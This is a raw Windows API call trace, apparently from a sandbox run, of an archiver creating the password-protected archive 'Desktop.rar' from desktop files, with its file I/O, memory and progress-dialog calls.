0x80000000 [0059.683] ResetEvent (hEvent=0x190) returned 1 [0059.683] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.683] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0059.683] ResetEvent (hEvent=0x190) returned 1 [0059.684] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.684] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0059.684] PeekMessageW (in: lpMsg=0x1bd370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd370) returned 0 [0059.684] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.684] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd400*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bd400*=0) returned 0x8c188 [0059.684] SetFilePointer (in: hFile=0x198, lDistanceToMove=107, lpDistanceToMoveHigh=0x1bd3d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bd3d0*=0) returned 0x8c1f3 [0059.684] CryptUnprotectMemory (in: pDataIn=0x1bd280, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bd280) returned 1 [0059.684] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1bd200, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0059.684] CryptUnprotectMemory (in: pDataIn=0x1bcc60, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bcc60) returned 1 [0059.684] CryptUnprotectMemory (in: pDataIn=0x1bcd60, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bcd60) returned 1 [0059.685] CryptUnprotectMemory (in: pDataIn=0x1bcee0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1bcee0) returned 1 [0059.685] WriteFile (in: hFile=0x198, lpBuffer=0x293fde0*, nNumberOfBytesToWrite=0x5c20, lpNumberOfBytesWritten=0x1bd400, lpOverlapped=0x0 | out: lpBuffer=0x293fde0*, lpNumberOfBytesWritten=0x1bd400*=0x5c20, lpOverlapped=0x0) returned 1 [0059.685] PeekMessageW (in: lpMsg=0x1bd370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd370) returned 1 [0059.685] GetMessageW (in: lpMsg=0x1bd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd300) returned 1 [0059.685] GetFocus () returned 0x10232 [0059.685] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd300) returned 1 [0059.685] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.685] SetFilePointer (in: hFile=0x198, lDistanceToMove=573832, lpDistanceToMoveHigh=0x1bd3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1bd3c0*=0) returned 0x8c188 [0059.685] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1b9aa0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1b9aa0*=0) returned 0x8c188 [0059.685] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49220 [0059.685] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49250 [0059.685] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49250, Size=0x48) returned 0x34e340 [0059.685] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x30) returned 0x3c39490 [0059.685] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49250 [0059.685] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49250, Size=0x48) returned 0x34e390 [0059.685] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c39490 | out: hHeap=0x290000) returned 1 [0059.685] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e340 | out: hHeap=0x290000) returned 1 [0059.685] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49250 [0059.685] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49280 [0059.685] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49280 | out: hHeap=0x290000) returned 1 [0059.685] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49250 | out: hHeap=0x290000) returned 1 [0059.686] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49220, Size=0x48) returned 0x34e340 [0059.686] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x34e340, Size=0x7a) returned 0x36ea60 [0059.686] WriteFile (in: hFile=0x198, lpBuffer=0x36ea63*, nNumberOfBytesToWrite=0x6b, lpNumberOfBytesWritten=0x1b80e0, lpOverlapped=0x0 | out: lpBuffer=0x36ea63*, lpNumberOfBytesWritten=0x1b80e0*=0x6b, lpOverlapped=0x0) returned 1 [0059.686] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49220 [0059.686] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x6b) returned 0x299dec0 [0059.686] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e390 | out: hHeap=0x290000) returned 1 [0059.686] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x36ea60 | out: hHeap=0x290000) returned 1 [0059.686] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1bd3c0*=0) returned 0x91e13 [0059.686] CloseHandle (hObject=0x1b0) returned 1 [0059.686] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0059.686] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.686] PeekMessageW (in: lpMsg=0x1bd6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd6c0) returned 0 [0059.686] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.686] FindFirstFileW (in: lpFileName="FuvJMN.m4a", lpFindFileData=0x1bc480 | out: lpFindFileData=0x1bc480) returned 0x3c72330 [0059.686] FindClose (in: hFindFile=0x3c72330 | out: hFindFile=0x3c72330) returned 1 [0059.686] CreateFileW (lpFileName="FuvJMN.m4a" (normalized: "c:\\users\\whuoxysd\\desktop\\fuvjmn.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0059.686] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2dfe30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0059.686] GetTickCount () returned 0xa65479 [0059.686] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1bd2e0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0059.686] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0059.686] GetWindowTextW (in: hWnd=0x10214, lpString=0x1bbe90, nMaxCount=2560 | out: lpString="adding") returned 6 [0059.686] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0059.686] GetWindowTextW (in: hWnd=0x10216, lpString=0x1bbe90, nMaxCount=2560 | out: lpString="Fj4kdfeguFEe8WDxBVP.png") returned 23 [0059.686] SetWindowTextW (hWnd=0x10216, lpString="FuvJMN.m4a") returned 1 [0059.687] GetTickCount () returned 0xa65479 [0059.687] PeekMessageW (in: lpMsg=0x1bd6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd6c0) returned 0 [0059.687] CryptAcquireContextW (in: phProv=0x1bd670, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1bd670*=0x2b25f0) returned 1 [0059.687] CryptGenRandom (in: hProv=0x2b25f0, dwLen=0x10, pbBuffer=0x1bd6f0 | out: pbBuffer=0x1bd6f0) returned 1 [0059.687] CryptReleaseContext (hProv=0x2b25f0, dwFlags=0x0) returned 1 [0059.687] GetSystemTime (in: lpSystemTime=0x1bd608 | out: lpSystemTime=0x1bd608*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x15, wMilliseconds=0x17a)) [0059.687] SystemTimeToFileTime (in: lpSystemTime=0x1bd608, lpFileTime=0x1bd600 | out: lpFileTime=0x1bd600) returned 1 [0059.687] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd630 | out: lpPerformanceCount=0x1bd630*=13502759548) returned 1 [0059.687] ReadFile (in: hFile=0x1b0, lpBuffer=0x3790040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1bd710, lpOverlapped=0x0 | out: lpBuffer=0x3790040*, lpNumberOfBytesRead=0x1bd710*=0xf9dc, lpOverlapped=0x0) returned 1 [0059.688] ReadFile (in: hFile=0x1b0, lpBuffer=0x379fa1c, nNumberOfBytesToRead=0xf0624, lpNumberOfBytesRead=0x1bd710, lpOverlapped=0x0 | out: lpBuffer=0x379fa1c*, lpNumberOfBytesRead=0x1bd710*=0x0, lpOverlapped=0x0) returned 1 [0059.688] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0059.688] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.688] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49250 [0059.688] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49280 [0059.688] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49280, Size=0x48) returned 0x34e390 [0059.688] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x30) returned 0x3c39490 [0059.688] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49280 [0059.688] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49280, Size=0x48) returned 0x34e340 [0059.688] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c39490 | out: hHeap=0x290000) returned 1 [0059.688] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e390 | out: hHeap=0x290000) returned 1 [0059.688] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49280 [0059.688] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c492b0 [0059.688] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c492b0 | out: hHeap=0x290000) returned 1 [0059.688] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49280 | out: hHeap=0x290000) returned 1 [0059.688] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49250, Size=0x48) returned 0x34e390 [0059.688] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x34e390, Size=0x7a) returned 0x36ea60 [0059.688] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e340 | out: hHeap=0x290000) returned 1 [0059.688] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x36ea60 | out: hHeap=0x290000) returned 1 [0059.689] GetTickCount () returned 0xa65479 [0059.689] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd550 | out: lpPerformanceCount=0x1bd550*=13502922029) returned 1 [0059.689] GetTickCount () returned 0xa65479 [0059.689] GetTickCount () returned 0xa65479 [0059.689] GetTickCount () returned 0xa65479 [0059.689] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0059.689] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0059.689] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.690] ResetEvent (hEvent=0x1a4) returned 1 [0059.690] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.778] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.778] ResetEvent (hEvent=0x1a4) returned 1 [0059.778] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.782] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.782] GetTickCount () returned 0xa654d6 [0059.782] GetLastError () returned 0x0 [0059.782] SetLastError (dwErrCode=0x0) [0059.782] GetDlgItem (hDlg=0x1020e, nIDDlgItem=158) returned 0x1021a [0059.782] GetDlgItem (hDlg=0x1020e, nIDDlgItem=153) returned 0x10218 [0059.782] GetWindowTextW (in: hWnd=0x10218, lpString=0x1bbca0, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0059.782] SendMessageW (hWnd=0x1021a, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x64 [0059.782] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd520 | out: lpPerformanceCount=0x1bd520*=13512273156) returned 1 [0059.782] GetTickCount () returned 0xa654d6 [0059.782] GetTickCount () returned 0xa654d6 [0059.782] GetTickCount () returned 0xa654d6 [0059.782] PeekMessageW (in: lpMsg=0x1bd5f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5f0) returned 1 [0059.782] GetMessageW (in: lpMsg=0x1bd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd580) returned 1 [0059.782] GetFocus () returned 0x10232 [0059.783] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd580) returned 1 [0059.783] PeekMessageW (in: lpMsg=0x1bd5f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5f0) returned 1 [0059.783] GetMessageW (in: lpMsg=0x1bd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd580) returned 1 [0059.783] GetFocus () returned 0x10232 [0059.783] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd580) returned 1 [0059.783] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.783] ResetEvent (hEvent=0x190) returned 1 [0059.783] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.784] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0059.784] ResetEvent (hEvent=0x190) returned 1 [0059.784] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.785] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0059.785] PeekMessageW (in: lpMsg=0x1bd370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd370) returned 0 [0059.785] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.785] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd400*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bd400*=0) returned 0x91e13 [0059.785] SetFilePointer (in: hFile=0x198, lDistanceToMove=94, lpDistanceToMoveHigh=0x1bd3d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bd3d0*=0) returned 0x91e71 [0059.785] CryptUnprotectMemory (in: pDataIn=0x1bd280, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bd280) returned 1 [0059.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1bd200, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0059.785] CryptUnprotectMemory (in: pDataIn=0x1bcc60, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bcc60) returned 1 [0059.785] CryptUnprotectMemory (in: pDataIn=0x1bcd60, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bcd60) returned 1 [0059.785] CryptUnprotectMemory (in: pDataIn=0x1bcee0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1bcee0) returned 1 [0059.785] WriteFile (in: hFile=0x198, lpBuffer=0x293fde0*, nNumberOfBytesToWrite=0xfa60, lpNumberOfBytesWritten=0x1bd400, lpOverlapped=0x0 | out: lpBuffer=0x293fde0*, lpNumberOfBytesWritten=0x1bd400*=0xfa60, lpOverlapped=0x0) returned 1 [0059.786] PeekMessageW (in: lpMsg=0x1bd370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd370) returned 0 [0059.786] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.786] SetFilePointer (in: hFile=0x198, lDistanceToMove=597523, lpDistanceToMoveHigh=0x1bd3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1bd3c0*=0) returned 0x91e13 [0059.786] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1b9aa0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1b9aa0*=0) returned 0x91e13 [0059.786] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49250 [0059.786] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49280 [0059.786] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49280, Size=0x48) returned 0x34e340 [0059.786] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x30) returned 0x3c39490 [0059.786] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49280 [0059.787] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49280, Size=0x48) returned 0x34e390 [0059.787] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c39490 | out: hHeap=0x290000) returned 1 [0059.787] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e340 | out: hHeap=0x290000) returned 1 [0059.787] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49280 [0059.787] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c492b0 [0059.787] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c492b0 | out: hHeap=0x290000) returned 1 [0059.787] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49280 | out: hHeap=0x290000) returned 1 [0059.787] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49250, Size=0x48) returned 0x34e340 [0059.787] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x34e340, Size=0x7a) returned 0x36ea60 [0059.787] WriteFile (in: hFile=0x198, lpBuffer=0x36ea63*, nNumberOfBytesToWrite=0x5e, lpNumberOfBytesWritten=0x1b80e0, lpOverlapped=0x0 | out: lpBuffer=0x36ea63*, lpNumberOfBytesWritten=0x1b80e0*=0x5e, lpOverlapped=0x0) returned 1 [0059.787] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49250 [0059.787] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x5e) returned 0x351520 [0059.787] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e390 | out: hHeap=0x290000) returned 1 [0059.787] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x36ea60 | out: hHeap=0x290000) returned 1 [0059.787] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1bd3c0*=0) returned 0xa18d1 [0059.787] CloseHandle (hObject=0x1b0) returned 1 [0059.787] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0059.787] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.787] PeekMessageW (in: lpMsg=0x1bd6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd6c0) returned 0 [0059.787] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.787] FindFirstFileW (in: lpFileName="gblyrzexggw.exe", lpFindFileData=0x1bc480 | out: lpFindFileData=0x1bc480) returned 0x3c72330 [0059.787] FindClose (in: hFindFile=0x3c72330 | out: hFindFile=0x3c72330) returned 1 [0059.787] CreateFileW (lpFileName="gblyrzexggw.exe" (normalized: "c:\\users\\whuoxysd\\desktop\\gblyrzexggw.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0059.787] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0059.787] GetTickCount () returned 0xa654d6 [0059.787] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1bd2e0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0059.787] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0059.788] GetWindowTextW (in: hWnd=0x10214, lpString=0x1bbe90, nMaxCount=2560 | out: lpString="adding") returned 6 [0059.788] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0059.788] GetWindowTextW (in: hWnd=0x10216, lpString=0x1bbe90, nMaxCount=2560 | out: lpString="FuvJMN.m4a") returned 10 [0059.788] SetWindowTextW (hWnd=0x10216, lpString="gblyrzexggw.exe") returned 1 [0059.788] GetTickCount () returned 0xa654d6 [0059.788] UpdateWindow (hWnd=0x1020e) returned 1 [0059.788] PeekMessageW (in: lpMsg=0x1bd6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd6c0) returned 0 [0059.788] CryptAcquireContextW (in: phProv=0x1bd670, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1bd670*=0x2b25f0) returned 1 [0059.788] CryptGenRandom (in: hProv=0x2b25f0, dwLen=0x10, pbBuffer=0x1bd6f0 | out: pbBuffer=0x1bd6f0) returned 1 [0059.788] CryptReleaseContext (hProv=0x2b25f0, dwFlags=0x0) returned 1 [0059.788] GetSystemTime (in: lpSystemTime=0x1bd608 | out: lpSystemTime=0x1bd608*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x15, wMilliseconds=0x1d7)) [0059.788] SystemTimeToFileTime (in: lpSystemTime=0x1bd608, lpFileTime=0x1bd600 | out: lpFileTime=0x1bd600) returned 1 [0059.788] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd630 | out: lpPerformanceCount=0x1bd630*=13512885640) returned 1 [0059.789] ReadFile (in: hFile=0x1b0, lpBuffer=0x3790040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1bd710, lpOverlapped=0x0 | out: lpBuffer=0x3790040*, lpNumberOfBytesRead=0x1bd710*=0x100000, lpOverlapped=0x0) returned 1 [0059.794] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0059.795] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.795] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49280 [0059.795] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c492b0 [0059.795] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c492b0, Size=0x48) returned 0x34e390 [0059.795] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x30) returned 0x3c39490 [0059.795] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c492b0 [0059.795] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c492b0, Size=0x48) returned 0x34e340 [0059.795] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c39490 | out: hHeap=0x290000) returned 1 [0059.795] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e390 | out: hHeap=0x290000) returned 1 [0059.795] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c492b0 [0059.795] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c492e0 [0059.795] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c492e0 | out: hHeap=0x290000) returned 1 [0059.795] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c492b0 | out: hHeap=0x290000) returned 1 [0059.795] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49280, Size=0x48) returned 0x34e390 [0059.795] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x34e390, Size=0x7a) returned 0x36ea60 [0059.795] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e340 | out: hHeap=0x290000) returned 1 [0059.795] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x36ea60 | out: hHeap=0x290000) returned 1 [0059.797] ReadFile (in: hFile=0x1b0, lpBuffer=0x7ee0040, nNumberOfBytesToRead=0x300000, lpNumberOfBytesRead=0x1bd660, lpOverlapped=0x0 | out: lpBuffer=0x7ee0040*, lpNumberOfBytesRead=0x1bd660*=0x300000, lpOverlapped=0x0) returned 1 [0059.927] GetTickCount () returned 0xa65563 [0059.927] GetLastError () returned 0x0 [0059.927] SetLastError (dwErrCode=0x0) [0059.927] GetDlgItem (hDlg=0x1020e, nIDDlgItem=158) returned 0x1021a [0059.927] GetDlgItem (hDlg=0x1020e, nIDDlgItem=153) returned 0x10218 [0059.927] GetWindowTextW (in: hWnd=0x10218, lpString=0x1bbcd0, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0059.927] SetWindowTextW (hWnd=0x10218, lpString=" 51%") returned 1 [0059.927] SendMessageW (hWnd=0x1021a, Msg=0x402, wParam=0x33, lParam=0x0) returned 0x64 [0059.928] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd550 | out: lpPerformanceCount=0x1bd550*=13526812910) returned 1 [0059.928] GetTickCount () returned 0xa65563 [0059.928] GetTickCount () returned 0xa65563 [0059.928] GetTickCount () returned 0xa65563 [0059.928] CoCreateInstance (in: rclsid=0x13f27f5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x13f27cc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0x1bd108 | out: ppv=0x1bd108*=0x3c49280) returned 0x0 [0059.928] TaskbarList:ITaskbarList3:SetProgressState (This=0x3c49280, hwnd=0x1020e, tbpFlags=2) returned 0x0 [0059.928] TaskbarList:ITaskbarList3:SetProgressValue (This=0x3c49280, hwnd=0x1020e, ullCompleted=0x4a0ca3, ullTotal=0x954fe3) returned 0x0 [0059.928] TaskbarList:IUnknown:Release (This=0x3c49280) returned 0x0 [0059.928] GetLastError () returned 0x36b7 [0059.928] SetLastError (dwErrCode=0x36b7) [0059.928] GetDlgItem (hDlg=0x1020e, nIDDlgItem=157) returned 0x10230 [0059.928] GetDlgItem (hDlg=0x1020e, nIDDlgItem=152) returned 0x1022e [0059.928] 